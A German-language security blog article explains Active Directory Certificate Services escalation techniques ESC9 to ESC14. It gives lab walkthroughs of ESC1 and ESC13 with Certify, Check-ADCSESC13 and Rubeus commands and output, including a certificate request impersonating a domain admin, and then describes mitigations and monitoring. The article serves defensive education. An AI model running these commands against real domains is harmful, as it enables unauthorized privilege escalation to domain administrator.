Sie wollen mehr?
Weitere Artikel im Archiv
Das sind die neuen AD CS Eskalationstechniken
Nach der Veröffentlichung des Whitepapers erhielt das Thema mehr Aufmerksamkeit und es wurden weitere Techniken zur Privilegieneskalation für AD CS identifiziert. Es begann mit Oliver Lyak und seinem Post über ESC9, das sich auf ein in einer Zertifikatsvorlage gesetztes Flag bezieht, und ESC10 welches sich auf ein schwaches Zertifikats-Mapping bezieht (zwei Registrierungsschlüssel-Werte auf einem DC). Danach schrieb Sylvain Heiniger über ESC11, bei dem es wieder um ein NTLM-Relay-Angriff gegen die Zertifizierungsstelle geht, aber dieses Mal erfolgt die Zertifikatsanforderung über das ICertPassage Remote Protocol (ICPR). Hans-Joachim Knobloch hat den Beitrag ESC12 beigesteuert, in dem er über den Missbrauch von Shell-Zugriff auf CA-Server schreibt, um auf den privaten Schlüssel einer CA, in einem Hardware-Sicherheitsmodul (HSM), zuzugreifen. Die aktuellsten Domain Escalation Techniken ESC13 und ESC14 wurden von Jonas Bülow Knudsen am 14., respektive am 29. Februar diesen Jahres veröffentlicht. ESC14 ist nicht unbedingt neu, denn es wurde erstmals 2019 von Géraud de Drouas beschrieben und von Jean Marsault in einem Blogpost im Kapitel ACL exploit on user objects demonstriert. Obwohl es nicht neu ist, wird es mit seiner Aufnahme in die AD CS-Missbrauchstechniken wahrscheinlich mehr Aufmerksamkeit erhalten. Da die Anforderungen für diese Techniken sehr unterschiedlich sind, ist es wichtig, die Grundlagen dieser Techniken zu verstehen, um Prioritäten zu setzen, welche Techniken aus defensiver Sicht so schnell wie möglich angegangen werden müssen.
Im ersten Artikel über AD CS haben wir uns einige der Informationen angesehen, die in Zertifikaten gespeichert sind, wie Issuer, Enhanced Key Usages und so weiter, die in der Zertifikatsvorlage vordefiniert werden können. ESC1 ermöglicht eine mögliche Kompromittierung der Domäne. Sehen wir uns die Voraussetzungen an, die erforderlich sind, damit die falsch konfigurierte Zertifikatsvorlage als ESC1 eingestuft werden kann:
Die Zertifikatsvorlage speichert den Wert der Konfiguration Subject Name in ihrem Active Directory-Objekt in der Eigenschaft msPKI-Certificate-Name-Flag
. Wenn der Wert in der Vorlage auf Supply in the request gesetzt wurde, hat msPKI-Certificate-Name-Flag
den Wert 1
, der gleich CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT
ist. Die vollständige Liste der möglichen Werte finden Sie in der folgenden Microsoft-Dokumentation.
Für den Moment sollten Sie sich CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT merken, da wir es später noch sehen werden. Es gibt eine recht einfache Möglichkeit, die Fehlkonfiguration für ESC1 zu erkennen, wenn Sie die Zertifikatsvorlage von Grund auf neu erstellen. Wenn die Einstellung Require the following for enrollment nicht auf Manager approval gesetzt ist und Subject Name auf Supply in the request gesetzt ist, wird die folgende Warnmeldung angezeigt:
Achtung: Wenn eine Vorlage dupliziert wird und die Einstellungen Subject Name und Issuance Requirements nicht geändert werden, gibt es keine weitere Warnmeldung! Ausserdem gibt es einige Vorlagen, bei denen das Flag ENROLLEE_SUPPLIES_SUBJECT bereits gesetzt ist, die Option Supply in the request ist auf true gesetzt, also aktiviert. Wenn es einen Business-Prozess gibt, der eine oder mehrere Master-Vorlagen vorsieht, kann es sehr schnell zu Fehlkonfigurationen für viele verschiedene Vorlagen kommen.
Wir gehen davon aus, dass wir auf einem Client Fuss gefasst haben und dass wir mindestens einen Benutzer, in diesem Fall erma, kompromittieren konnten. Von diesem Benutzer können wir eine der folgenden Aktionen durchführen, vorausgesetzt, wir haben es geschafft, lokale Admin-Rechte zu erhalten:
Mit den von sharphound gesammelten Informationen können wir nun Folgendes in Bloodhound identifizieren:
Ziemlich nett, da auch alle Schritte beschrieben werden.
Mit Certify erhalten wir die folgenden Informationen:
Nachdem wir die Fehlkonfiguration identifiziert haben, verwenden wir certify, um ein neues Zertifikat auf den Namen eines hochprivilegierten Benutzers (DA01) anzufordern, der Teil der Domänenadministratorgruppe ist.
PS C:\tools> .\Certify.exe request /ca:Odin.labs.org\labs-ODIN-CA /template:ESC1Template /altname:DA01 _____ _ _ __ / ____| | | (_)/ _| | | ___ _ __| |_ _| |_ _ _ | | / _ \ '__| __| | _| | | | | |___| __/ | | |_| | | | |_| | \_____\___|_| \__|_|_| \__, | __/ | |___./ v1.1.0 [*] Action: Request a Certificates [*] Current user context : LABS\erma [*] No subject name specified, using current context as subject. [*] Template : ESC1Template [*] Subject : CN=erma, CN=Users, DC=labs, DC=org [*] AltName : DA01 [*] Certificate Authority : Odin.labs.org\labs-ODIN-CA [*] CA Response : The certificate had been issued. [*] Request ID : 8 [*] cert.pem : -----BEGIN RSA PRIVATE KEY----- MIIEpAIBAAKCAQEA5N5ut6P/DbiqvuLjVc0oD4JM4ye2XqDQ6+h1AoKC1bJbNO1J 8i7o1UQPiDjzjOqMgEtgu44Vjd6wR3sYrHJXtMR+QyLZF/Vda28AC8YrFoPJhJbx e5VbJEmHCJe6/OXD/... -----END RSA PRIVATE KEY----- -----BEGIN CERTIFICATE----- MIIFnzCCBIegAwIBAgITSwAAAAj+vM+BfDr1kAAAAAAACDANBgkqhkiG9w0BAQsF ADBCMRMwEQYKCZImiZPyLGQBGRYDb3JnMRQwEgYKCZImiZPyLGQBGRYEbGFiczEV MBMGA1UEAxMMbGFic... -----END CERTIFICATE-----
Nun können wir eine .pfx Version erstellen und diese zusammen mit dem Tool Rubeus verwenden, um ein Ticket Granting Ticket (TGT) als DA01 zu beantragen und ESC1 zu vollenden:
Es gibt eine Reihe von Schutzmassnahmen gegen ESC1. Die gebräuchlichste und einfachste besteht darin, den Antragstellern nicht zu erlauben, den SAN zu spezifizieren, während Manager approval deaktiviert ist. Selbst wenn die Manager approval aktiviert ist, kann ein versehentlicher Fehler passieren. Daher wird zusätzlich empfohlen, die Registrierung für nicht-privilegierte Benutzer oder Gruppen nicht zuzulassen, insbesondere für Vorlagen, die EKUs zur Authentifizierung enthalten. Weitere Informationen über Schutzmassnahmen finden Sie in folgendem Whitepaper.
Diese Technik wurde gerade erst am 14. Februar veröffentlicht. Sie ist um einiges komplexer als ESC1. Ein Angreifer kann auch hier die Privilegien ausweiten, die je nach Konfiguration nicht so einfach und meist nicht so weit wie bei ESC1 ist. Bei ESC13 geht es um den Missbrauch von Issuance Policies, die Certificate Templates zugewiesen werden können.
Eine Issuance Policy ist eine Zertifikatserweiterung, mit der der Zugang zu einem System nur dann gewährt werden kann, wenn der Benutzer ein Zertifikat mit einer bestimmten Issuance Policy vorlegen kann. Wenn eine Ausstellungsrichtlinie auf der Registerkarte Erweiterungen einer Zertifikatsvorlage definiert ist, wird sie im AD-Objekt als ObjectIdentifier (OID) im Attribut msPKI-Certificate-Policy
gespeichert. Die Ausgaberichtlinien sind unter CN=OID,CN=Public Key Services,CN=Services,CN=Configuration,DC=labs,DC=org gespeichert und
haben ein Attribut msDS-OIDToGroupLink
, mit dem eine Gruppe mit der Richtlinie verknüpft werden kann. Die Gruppe kann nur verknüpft werden, wenn sie leer ist und den Gruppenumfang universal hat. Im folgenden Beispiel heisst diese Gruppe ESC13Group und hat Zugriff auf die Freigabe Secret_Tools auf dem Domain Controller Odin.labs.org.
Die Voraussetzungen für diese Technik sind die folgenden:
Wir gehen von demselben Szenario aus wie im ESC1 Durchlauf. Wir haben auf einem Client Fuss gefasst und verfügen über mindestens einen Benutzer, in diesem Fall erma. Vom Benutzer erma führen wir das Powershell-Skript Check-ADCSESC13 von Jonas Bülow Knudsen aus, das uns hilft, Zertifikatsvorlagen zu identifizieren, die uns möglicherweise zusätzliche Gruppen-Mitgliedschaften gewähren können. Die Ausgabe des Skripts gibt uns folgende Informationen:
PS C:\tools> .\Check-ADCSESC13.ps1 Enumerating OIDs ------------------------ OID 15025159.30AEC464A81EEE6B13050EB222788277 links to group: CN=ESC13Group,CN=Users,DC=labs,DC=org OID DisplayName: 1.3.6.1.4.1.311.21.8.6105977.692157.4541333.10055054.9902406.79.2708539.15025159 OID DistinguishedName: CN=15025159.30AEC464A81EEE6B13050EB222788277,CN=OID,CN=Public Key Services,CN=Services,CN=Configuration,DC=labs,DC=org OID msPKI-Cert-Template-OID: 1.3.6.1.4.1.311.21.8.6105977.692157.4541333.10055054.9902406.79.2708539.15025159 OID msDS-OIDToGroupLink: CN=ESC13Group,CN=Users,DC=labs,DC=org ------------------------ Enumerating certificate templates ------------------------ Certificate template ESC13Template may be used to obtain membership of CN=ESC13Group,CN=Users,DC=labs,DC=org Certificate template Name: ESC13Template OID DisplayName: 1.3.6.1.4.1.311.21.8.6105977.692157.4541333.10055054.9902406.79.2708539.15025159 OID DistinguishedName: CN=15025159.30AEC464A81EEE6B13050EB222788277,CN=OID,CN=Public Key Services,CN=Services,CN=Configuration,DC=labs,DC=org OID msPKI-Cert-Template-OID: 1.3.6.1.4.1.311.21.8.6105977.692157.4541333.10055054.9902406.79.2708539.15025159 OID msDS-OIDToGroupLink: CN=ESC13Group,CN=Users,DC=labs,DC=org ------------------------ Done
Jetzt können wir Certify erneut verwenden, um ein Zertifikat von der anfälligen Vorlage anzufordern:
PS C:\tools> .\Certify.exe request /ca:Odin.labs.org\labs-ODIN-CA /template:ESC13Template
Nachdem wir das Zertifikat erhalten haben, können wir das gleiche Verfahren wie zuvor anwenden. Wir erstellen eine .pfx Version und verwenden Rubeus, um ein TGT anzufordern. Dies gewährt uns den Zugang, als ob wir Mitglied der ESC13Group wären. Wenn wir das TGT entschlüsseln, können wir sehen, dass das Feld Groups einen zusätzlichen Wert 1112 hat, der mit der RID der ESC13Group übereinstimmt.
PS C:\tools> .\Rubeus.exe describe /servicekey:978... /ticket:doIFojCCBZ6gAwIBBaEDAgE... ______ _ (_____ \ | | _____) )_ _| |__ _____ _ _ ___ | __ /| | | | _ \| ___ | | | |/___) | | \ \| |_| | |_) ) ____| |_| |___ | |_| |_|____/|____/|_____)____/(___/ v2.2.2 [*] Action: Describe Ticket ServiceName : krbtgt/labs.org ServiceRealm : LABS.ORG UserName : erma UserRealm : LABS.ORG StartTime : 4/8/2024 6:29:11 PM EndTime : 4/9/2024 4:29:11 AM RenewTill : 4/15/2024 6:29:11 PM <...> Decrypted PAC : LogonInfo : <...> PrimaryGroupId : 513 GroupCount : 2 Groups : 513,1112 UserFlags : (32) EXTRA_SIDS UserSessionKey : 0000000000000000 LogonServer : ODIN LogonDomainName : LABS <...> PS C:\tools> Get-ADGroup ESC13Group -Properties Members DistinguishedName : CN=ESC13Group,CN=Users,DC=labs,DC=org GroupCategory : Security GroupScope : Universal Members : {} Name : ESC13Group ObjectClass : group ObjectGUID : c88a5e40-10f8-47aa-b157-6b1f64dfe42a SamAccountName : ESC13Group SID : S-1-5-21-3095442552-3703507723-3996421468-1112
Nun prüfen wir, ob wir Zugriff auf die Freigabe haben, auf die nur Mitglieder der ESC13Group zugreifen dürfen:
Dies wird in der Microsoft Authentication Mechanism Assurance (AMA) für Active Directory Domain Services (AD DS) verwendet. Wenn dies implementiert ist, können Benutzer unterschiedliche Berechtigungen haben, je nachdem, welche Anmeldemethode sie verwenden. Wenn sie sich mit einer Kombination aus Benutzername und Kennwort anmelden, verfügen sie über Standardbenutzerberechtigungen auf dem System. Wenn sie sich mit einer zertifikatsbasierten Anmeldung anmelden, verfügen sie über administrative Berechtigungen auf dem System. Wie funktioniert es also? AMA fügt dem Kerberos-Token des Benutzers bei der Authentifizierung eine vom Administrator festgelegte Gruppenmitgliedschaft hinzu, die aus dem Zertifikat stammt, das eine Ausstellungsrichtlinie hat, die mit einer universellen Gruppe in AD verknüpft ist. Mehr Informationen zu AMA können in diesem Microsoft Beitrag, im Beitrag use AMA to secure admin account logins oder Authentication Mechanism nachgelesen werden.
Wenn keine Absicht besteht, Konzepte wie Microsoft Authentication Mechanism Assurance zu implementieren, kann es von Vorteil sein, keine issuance policies oder Attribute wie msDS-OIDToGroupLink zu verwenden. Wenn ein Bedarf für diese Art von Zertifikatsvorlagen besteht, ist es sehr empfehlenswert, die Zertifikatsregistrierung zu überwachen. Prinzipale, die Zertifikate anfordern können, die mit Gruppen mit hohen Berechtigungen verknüpft sind, müssen getrennt und entsprechend überwacht werden. Die Windows-Ereignis-IDs und der Ansatz zur Überwachung von Benutzer- und Maschinenzertifikatsregistrierungen sowie von Zertifikatsauthentifizierungsereignissen sind im Whitepaper in den Abschnitten DETECT1 und DETECT2 ausführlich beschrieben.
Während ESC1 eindeutig eine Fehlkonfiguration ist, kann man darüber diskutieren, ob ESC13 per se als dasselbe angesehen werden sollte. Die Funktion zur Verknüpfung von Issuance Policies mit Zertifikatsvorlagen und damit Zertifikaten wird von Microsoft Authentication Mechanism Assurance genutzt. Wenn es ein sauberes und durchdachtes Konzept für die Implementierung einer Funktion wie AMA gibt, kann es sinnvoll sein, administrative Konten auf diese Weise zu sichern. Es soll sicherstellen, dass die Benutzer Mitglied einer Sicherheitsgruppe sind und sich mit einer starken Authentifizierungsmethode, wie z. B. Smartcards, anmelden. Allerdings muss auf die Trennung der Konten geachtet werden. Konten, die die Erlaubnis haben, Zertifikate anzufordern, deren Issuance Policies Gruppenverknüpfungen zu hochprivilegierten Gruppen enthalten, müssen als hochwertige Benutzer/Ziele betrachtet werden. Eine Analyse des Angriffspfades soll helfen, die Abhängigkeiten der verschiedenen Benutzer, Gruppen, Objekte, etc. besser zu verstehen. Je nach Konfiguration der AD CS-Umgebung ist diese möglicherweise nicht anfällig gegen eine der einfacheren, bekannteren Techniken wie ESC1 – ESC8. Da sich die AD CS-Missbrauchstechniken jedoch ständig weiterentwickeln und neue Techniken identifiziert und veröffentlicht werden, ist es von entscheidender Bedeutung, über angemessene Gegenmassnahmen zu verfügen, wie regelmässige Audits der AD CS-Umgebung, Überwachung und Reaktionspläne.
Unsere Spezialisten kontaktieren Sie gern!
Eric Maurer
Unsere Spezialisten kontaktieren Sie gern!